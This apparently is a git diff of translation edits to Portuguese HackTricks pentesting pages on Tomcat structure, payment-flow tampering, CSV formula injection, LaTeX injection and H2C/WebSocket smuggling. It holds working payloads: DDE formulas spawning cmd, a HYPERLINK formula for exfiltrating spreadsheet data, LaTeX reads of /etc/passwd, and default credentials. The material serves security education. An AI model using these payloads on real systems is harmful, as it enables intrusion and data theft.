<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -54,7 +54,7 @@ Para não executar o Tomcat com root, uma configuração muito comum é configur
|
||||||
* O arquivo `tomcat-users.xml` armazena credenciais de usuário e suas funções atribuídas.
|
* O arquivo `tomcat-users.xml` armazena credenciais de usuário e suas funções atribuídas.
|
||||||
* A pasta `lib` contém vários arquivos JAR necessários para o funcionamento correto do Tomcat.
|
* A pasta `lib` contém vários arquivos JAR necessários para o funcionamento correto do Tomcat.
|
||||||
* As pastas `logs` e `temp` armazenam arquivos de log temporários.
|
* As pastas `logs` e `temp` armazenam arquivos de log temporários.
|
||||||
* A pasta `webapps` é o diretório raiz padrão do Tomcat e hospeda todas as aplicações. A pasta `work` atua como um cache e é usada para armazenar dados durante a execução.
|
* A pasta `webapps` é a raiz padrão do Tomcat e hospeda todas as aplicações. A pasta `work` atua como um cache e é usada para armazenar dados durante a execução.
|
||||||
|
|
||||||
Espera-se que cada pasta dentro de `webapps` tenha a seguinte estrutura.
|
Espera-se que cada pasta dentro de `webapps` tenha a seguinte estrutura.
|
||||||
```
|
```
|
||||||
|
@ -76,7 +76,7 @@ webapps/customapp
|
||||||
O arquivo mais importante entre esses é `WEB-INF/web.xml`, conhecido como descritor de implantação. Este arquivo armazena **informações sobre as rotas** usadas pela aplicação e as classes que lidam com essas rotas.\
|
O arquivo mais importante entre esses é `WEB-INF/web.xml`, conhecido como descritor de implantação. Este arquivo armazena **informações sobre as rotas** usadas pela aplicação e as classes que lidam com essas rotas.\
|
||||||
Todas as classes compiladas usadas pela aplicação devem ser armazenadas na pasta `WEB-INF/classes`. Essas classes podem conter lógica de negócios importante, bem como informações sensíveis. Qualquer vulnerabilidade nesses arquivos pode levar à comprometimento total do site. A pasta `lib` armazena as bibliotecas necessárias para aquela aplicação específica. A pasta `jsp` armazena [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), anteriormente conhecido como `JavaServer Pages`, que pode ser comparado aos arquivos PHP em um servidor Apache.
|
Todas as classes compiladas usadas pela aplicação devem ser armazenadas na pasta `WEB-INF/classes`. Essas classes podem conter lógica de negócios importante, bem como informações sensíveis. Qualquer vulnerabilidade nesses arquivos pode levar à comprometimento total do site. A pasta `lib` armazena as bibliotecas necessárias para aquela aplicação específica. A pasta `jsp` armazena [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), anteriormente conhecido como `JavaServer Pages`, que pode ser comparado aos arquivos PHP em um servidor Apache.
|
||||||
|
|
||||||
Aqui está um exemplo do arquivo **web.xml**.
|
Aqui está um exemplo de arquivo **web.xml**.
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||||
|
|
||||||
|
@ -143,7 +143,7 @@ will also need to set the passwords to something appropriate.
|
||||||
|
|
||||||
</tomcat-users>
|
</tomcat-users>
|
||||||
```
|
```
|
||||||
O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`, `manager-jmx` e `manager-status` fornecem acesso. Neste exemplo, podemos ver que um usuário `tomcat` com a senha `tomcat` tem o papel `manager-gui`, e uma segunda senha fraca `admin` é definida para a conta de usuário `admin`
|
O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`, `manager-jmx` e `manager-status` fornece acesso. Neste exemplo, podemos ver que um usuário `tomcat` com a senha `tomcat` tem o papel `manager-gui`, e uma segunda senha fraca `admin` é definida para a conta de usuário `admin`
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -151,7 +151,7 @@ O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`,
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -162,7 +162,7 @@ O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`,
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,7 +16,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -27,12 +27,12 @@ Outras formas de apoiar o HackTricks:
|
||||||
### Interceptação de Requisições
|
### Interceptação de Requisições
|
||||||
Durante o processo de transação, é crucial monitorar os dados trocados entre o cliente e o servidor. Isso pode ser feito interceptando todas as requisições. Dentro dessas requisições, fique atento a parâmetros com implicações significativas, como:
|
Durante o processo de transação, é crucial monitorar os dados trocados entre o cliente e o servidor. Isso pode ser feito interceptando todas as requisições. Dentro dessas requisições, fique atento a parâmetros com implicações significativas, como:
|
||||||
|
|
||||||
- **Sucesso**: Este parâmetro frequentemente indica o status da transação.
|
- **Sucesso**: Esse parâmetro frequentemente indica o status da transação.
|
||||||
- **Referenciador**: Pode apontar para a origem de onde a requisição se originou.
|
- **Referenciador**: Pode apontar para a origem de onde a requisição se originou.
|
||||||
- **Callback**: Geralmente é usado para redirecionar o usuário após a conclusão de uma transação.
|
- **Callback**: Geralmente é usado para redirecionar o usuário após a conclusão de uma transação.
|
||||||
|
|
||||||
### Análise de URL
|
### Análise de URL
|
||||||
Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguindo o padrão _example.com/payment/MD5HASH_, isso requer uma análise mais detalhada. Aqui está uma abordagem passo a passo:
|
Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguindo o padrão _example.com/payment/MD5HASH_, é necessário examiná-lo mais de perto. Aqui está uma abordagem passo a passo:
|
||||||
|
|
||||||
1. **Copie a URL**: Extraia a URL do valor do parâmetro.
|
1. **Copie a URL**: Extraia a URL do valor do parâmetro.
|
||||||
2. **Inspeção em Nova Janela**: Abra a URL copiada em uma nova janela do navegador. Essa ação é crucial para entender o resultado da transação.
|
2. **Inspeção em Nova Janela**: Abra a URL copiada em uma nova janela do navegador. Essa ação é crucial para entender o resultado da transação.
|
||||||
|
@ -43,7 +43,7 @@ Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguind
|
||||||
|
|
||||||
### Manipulação de Cookies
|
### Manipulação de Cookies
|
||||||
1. **Examine os Cookies**: Muitos sites armazenam informações cruciais em cookies. Inspecione esses cookies em busca de dados relacionados ao status do pagamento ou autenticação do usuário.
|
1. **Examine os Cookies**: Muitos sites armazenam informações cruciais em cookies. Inspecione esses cookies em busca de dados relacionados ao status do pagamento ou autenticação do usuário.
|
||||||
2. **Modificar Valores dos Cookies**: Altere os valores armazenados nos cookies e observe como a resposta ou comportamento do site muda.
|
2. **Modificar Valores de Cookies**: Altere os valores armazenados nos cookies e observe como a resposta ou comportamento do site muda.
|
||||||
|
|
||||||
### Sequestro de Sessão
|
### Sequestro de Sessão
|
||||||
1. **Tokens de Sessão**: Se tokens de sessão são usados no processo de pagamento, tente capturá-los e manipulá-los. Isso pode fornecer insights sobre vulnerabilidades de gerenciamento de sessão.
|
1. **Tokens de Sessão**: Se tokens de sessão são usados no processo de pagamento, tente capturá-los e manipulá-los. Isso pode fornecer insights sobre vulnerabilidades de gerenciamento de sessão.
|
||||||
|
@ -54,7 +54,7 @@ Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguind
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
### Informação
|
### Informação
|
||||||
|
|
||||||
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do excel.
|
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Atualmente, o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
|
Atualmente, o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
|
||||||
|
@ -43,24 +43,24 @@ DDE ("cmd";"/C calc";"!A0")A0
|
||||||
```
|
```
|
||||||
### Hiperlink
|
### Hiperlink
|
||||||
|
|
||||||
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha do Excel final e para fazer solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).**
|
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha do Excel final e realizar solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).**
|
||||||
|
|
||||||
O exemplo a seguir foi retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
O exemplo a seguir foi retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||||
|
|
||||||
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar os detalhes dos alunos. O método envolve o atacante injetando uma carga maliciosa na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
|
Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar os detalhes dos alunos. O método envolve o atacante injetando um payload malicioso na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:
|
||||||
|
|
||||||
1. **Injeção de Carga Maliciosa:**
|
1. **Injeção de Payload Malicioso:**
|
||||||
* O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
|
* O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, `=HYPERLINK("<malicious_link>","Clique aqui")`).
|
||||||
* Essa fórmula é projetada para criar um hiperlink, mas aponta para um servidor malicioso controlado pelo atacante.
|
* Essa fórmula é projetada para criar um hiperlink, mas aponta para um servidor malicioso controlado pelo atacante.
|
||||||
2. **Exportando Dados Comprometidos:**
|
2. **Exportando Dados Comprometidos:**
|
||||||
* Professores, sem saber da comprometimento, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
|
* Professores, sem saber da comprometimento, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
|
||||||
* O arquivo CSV, quando aberto, ainda contém a carga maliciosa. Essa carga aparece como um hiperlink clicável na planilha.
|
* O arquivo CSV, quando aberto, ainda contém o payload malicioso. Esse payload aparece como um hiperlink clicável na planilha.
|
||||||
3. **Desencadeando o Ataque:**
|
3. **Desencadeando o Ataque:**
|
||||||
* Um professor clica no hiperlink, acreditando ser uma parte legítima dos detalhes do aluno.
|
* Um professor clica no hiperlink, acreditando ser uma parte legítima dos detalhes do aluno.
|
||||||
* Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
|
* Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
|
||||||
4. **Registrando os Dados:**
|
4. **Registrando os Dados:**
|
||||||
* O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
|
* O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
|
||||||
* O atacante pode então usar esses dados para vários fins maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
|
* O atacante pode então usar esses dados para vários propósitos maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
|
||||||
|
|
||||||
### RCE
|
### RCE
|
||||||
|
|
||||||
|
@ -70,7 +70,7 @@ Em configurações específicas ou versões mais antigas do Excel, um recurso ch
|
||||||
|
|
||||||
* Navegue até Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo e habilite **Iniciar Servidor de Troca Dinâmica de Dados**.
|
* Navegue até Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo e habilite **Iniciar Servidor de Troca Dinâmica de Dados**.
|
||||||
|
|
||||||
Quando uma planilha com a carga maliciosa é aberta (e se o usuário aceitar os avisos), a carga é executada. Por exemplo, para iniciar o aplicativo da calculadora, a carga seria:
|
Quando uma planilha com o payload malicioso é aberta (e se o usuário aceitar os avisos), o payload é executado. Por exemplo, para iniciar o aplicativo da calculadora, o payload seria:
|
||||||
```markdown
|
```markdown
|
||||||
`=cmd|' /C calc'!xxx`
|
`=cmd|' /C calc'!xxx`
|
||||||
```
|
```
|
||||||
|
@ -104,8 +104,8 @@ Normalmente, os servidores que você encontrará na internet que **convertem có
|
||||||
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
|
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
|
||||||
|
|
||||||
- **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
|
- **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
|
||||||
- **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
- **`--shell-restricted`**: O mesmo que `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
||||||
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.
|
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Essa construção normalmente é desativada por motivos de segurança.
|
||||||
|
|
||||||
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
|
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
|
||||||
|
|
||||||
|
@ -127,7 +127,7 @@ Você pode precisar ajustar a injeção com wrappers como \[ ou $.
|
||||||
\text{\line}
|
\text{\line}
|
||||||
\closein\file
|
\closein\file
|
||||||
```
|
```
|
||||||
#### Ler arquivo com várias linhas
|
#### Ler arquivo de várias linhas
|
||||||
```bash
|
```bash
|
||||||
\newread\file
|
\newread\file
|
||||||
\openin\file=/etc/passwd
|
\openin\file=/etc/passwd
|
||||||
|
@ -199,13 +199,13 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
|
|
|
@ -10,13 +10,13 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -57,10 +57,10 @@ Por outro lado, esses serviços não encaminham esses cabeçalhos durante o prox
|
||||||
|
|
||||||
#### Exploração <a href="#exploitation" id="exploitation"></a>
|
#### Exploração <a href="#exploitation" id="exploitation"></a>
|
||||||
|
|
||||||
É crucial observar que nem todos os servidores encaminham os cabeçalhos necessários para uma atualização de conexão H2C compatível. Portanto, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, naturalmente bloqueiam conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, pois alguns backends podem não estar em conformidade com os padrões.
|
É crucial observar que nem todos os servidores encaminham os cabeçalhos necessários para uma atualização de conexão H2C compatível. Como tal, servidores como AWS ALB/CLB, NGINX e Apache Traffic Server, entre outros, naturalmente bloqueiam conexões H2C. No entanto, vale a pena testar com a variante não compatível `Connection: Upgrade`, que exclui o valor `HTTP2-Settings` do cabeçalho `Connection`, pois alguns backends podem não estar em conformidade com os padrões.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Independentemente do **caminho** específico designado na URL `proxy_pass` (por exemplo, `http://backend:9999/socket.io`), a conexão estabelecida é padrão para `http://backend:9999`. Isso permite interagir com qualquer caminho dentro desse endpoint interno, aproveitando essa técnica. Portanto, a especificação de um caminho na URL `proxy_pass` não restringe o acesso.
|
Independentemente do **caminho** específico designado na URL `proxy_pass` (por exemplo, `http://backend:9999/socket.io`), a conexão estabelecida é padrão para `http://backend:9999`. Isso permite interagir com qualquer caminho dentro desse endpoint interno, aproveitando essa técnica. Consequentemente, a especificação de um caminho na URL `proxy_pass` não restringe o acesso.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
As ferramentas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitam as tentativas de **contornar as proteções impostas pelo proxy** ao estabelecer uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
|
As ferramentas [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) e [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitam as tentativas de **contornar as proteções impostas pelo proxy** ao estabelecer uma conexão H2C, permitindo assim o acesso a recursos protegidos pelo proxy.
|
||||||
|
@ -69,11 +69,11 @@ Para obter informações adicionais sobre essa vulnerabilidade, especialmente em
|
||||||
|
|
||||||
## Websocket Smuggling
|
## Websocket Smuggling
|
||||||
|
|
||||||
O Websocket smuggling, ao contrário da criação de um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
|
O Websocket smuggling, ao contrário de criar um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
|
||||||
|
|
||||||
### Cenário 1
|
### Cenário 1
|
||||||
|
|
||||||
Neste cenário, um backend que oferece uma API Websocket pública juntamente com uma API REST interna inacessível é alvo de um cliente malicioso em busca de acesso à API REST interna. O ataque ocorre em várias etapas:
|
Neste cenário, um backend que oferece uma API Websocket pública juntamente com uma API REST interna inacessível é alvo de um cliente malicioso em busca de acesso à API REST interna. O ataque se desenrola em várias etapas:
|
||||||
|
|
||||||
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, considera a solicitação de Upgrade válida e a encaminha para o backend.
|
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, considera a solicitação de Upgrade válida e a encaminha para o backend.
|
||||||
2. O backend responde com um código de status `426`, indicando a versão de protocolo incorreta no cabeçalho `Sec-WebSocket-Version`. O proxy reverso, ignorando o status de resposta do backend, assume prontidão para a comunicação Websocket e repassa a resposta ao cliente.
|
2. O backend responde com um código de status `426`, indicando a versão de protocolo incorreta no cabeçalho `Sec-WebSocket-Version`. O proxy reverso, ignorando o status de resposta do backend, assume prontidão para a comunicação Websocket e repassa a resposta ao cliente.
|
||||||
|
@ -98,7 +98,7 @@ No final, o NGINX é enganado a acreditar que uma conexão Websocket existe entr
|
||||||
|
|
||||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||||
|
|
||||||
A maioria dos proxies reversos é vulnerável a esse cenário, mas a exploração depende da presença de uma vulnerabilidade externa SSRF, geralmente considerada um problema de baixa gravidade.
|
A maioria dos proxies reversos é vulnerável a esse cenário, mas a exploração depende da presença de uma vulnerabilidade externa de SSRF, geralmente considerada um problema de baixa gravidade.
|
||||||
|
|
||||||
#### Laboratórios
|
#### Laboratórios
|
||||||
|
|
||||||
|
@ -113,7 +113,7 @@ Verifique os laboratórios para testar ambos os cenários em [https://github.com
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -127,6 +127,6 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
